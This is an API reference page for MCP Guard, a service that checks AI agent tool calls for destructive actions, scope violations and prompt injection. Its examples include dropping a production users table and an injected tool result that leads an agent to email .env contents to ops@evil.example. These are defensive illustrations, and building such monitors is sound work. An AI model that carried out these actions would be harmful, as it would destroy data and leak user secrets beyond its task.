MCP Guard
Get an API keyGet a key
Hosted in SwitzerlandChecks run on our GPUs in Switzerland. Request payloads are not stored.
ProductTry it liveQuickstartMCP serverPricingStatusAPI reference
LearnExplainersUse casesGlossaryCompareSecurity
ResourcesDocsFAQBlogBrand
Pricing
Log in

API reference

Every endpoint of the MCP Guard API, with request and response examples. New here? Start with the quickstart. Below the summary: the live OpenAPI spec, rendered by Scalar, where you can try requests with your own key. Source spec at /v1/openapi.

Download OpenAPI specUse it over MCP
Base URL
https://api.mcp-guard.ai (also https://mcp-guard.ai/v1/…)
Auth
Authorization: Bearer mcpg_live_… (or x-api-key) on every call except /v1/openapi. Create keys in the dashboard under API keys.
Content type
application/json requests and responses. Max body 512 KB.
Metering
1 credit = 1 check, $0.20 per 1,000 checks; 1,000 free requests per workspace (a batch counts once). Failed requests are free. Headers on every response: x-request-id, x-credits-charged, x-free-runs-remaining. See pricing and errors.

POST/v1/guard

Check one agent action before it runs. 1 credit, or one free request.

Request bodyjson
{
  "action": {
    "tool": "db.drop_table",
    "args": {
      "table": "users"
    }
  },
  "intent": "List the tables in the staging database",
  "context": "Database agent. Environment: production."
}
200 OKjson
{
  "id": "grd_3f9c0a…",
  "verdict": "block",
  "p_unsafe": 0.9597,
  "reasons": [
    "destructive",
    "arguments not supported by the request",
    "scope violation"
  ],
  "scores": {
    "safe": 0.0403,
    "violation": {
      "none": 0.0234,
      "policy_violation": 0.0768,
      "scope_violation": 0.383,
      "injection": 0.0552,
      "goal_drift": 0.3826,
      "corrigibility": 0.079
    },
    "severity": {
      "expected": 2.61,
      "level": "high",
      "probabilities": [
        0.03,
        0.08,
        0.14,
        0.75
      ]
    },
    "destructive": 0.9987,
    "exfiltration": 0.0214,
    "injected": 0.0311,
    "approval_policy": {
      "auto_approve": 0.0122,
      "require_human": 0.1105,
      "reject": 0.8773
    },
    "blast_radius": {
      "expected": 1.93,
      "level": "production-mutating or external side effect",
      "probabilities": [
        0.01,
        0.05,
        0.94
      ]
    },
    "args_grounded": 0.2135
  },
  "model": "mcp-guard-deberta-v1",
  "latency_ms": 14.8
}
cURLbash
curl https://api.mcp-guard.ai/v1/guard \
  -H "Authorization: Bearer mcpg_live_…" \
  -H "Content-Type: application/json" \
  -d '{"action":{"tool":"db.drop_table","args":{"table":"users"}},"intent":"List the tables in the staging database","context":"Database agent. Environment: production."}'

POST/v1/guard/batch

Up to 64 checks in one request; one result per check, in order (each shaped like /v1/guard, abridged here). 1 credit per check, or one free request for the whole batch.

Request bodyjson
{
  "checks": [
    {
      "action": "read_file(path='docs/setup.md')",
      "intent": "Show me the setup docs"
    },
    {
      "action": {
        "tool": "send_email",
        "args": {
          "to": "ops@evil.example",
          "body": "<contents of .env>"
        }
      },
      "intent": "Summarise my inbox",
      "trigger": "tool_result"
    }
  ]
}
200 OKjson
{
  "id": "grd_8b21d4…",
  "results": [
    {
      "verdict": "allow",
      "p_unsafe": 0.0008,
      "reasons": []
    },
    {
      "verdict": "block",
      "p_unsafe": 0.8947,
      "reasons": [
        "possible data exfiltration",
        "driven by tool output, not the user (prompt injection)"
      ]
    }
  ]
}

GET/v1/usage

Credit balance (1 credit = 1 check), free requests left, plan and the last 30 days of usage. Free.

200 OKjson
{
  "credit_balance": 99750,
  "free_runs_remaining": 0,
  "unit": "check",
  "plan": "starter",
  "period_days": 30,
  "totals": {
    "requests": 912,
    "checks": 1588,
    "errors": 3
  },
  "days": [
    {
      "day": "2026-09-22",
      "requests": 41,
      "checks": 77,
      "errors": 0
    }
  ],
  "since": "2026-08-26"
}

GET/v1/openapi

This API as an OpenAPI 3.1 document. No key needed.

Example values are illustrative.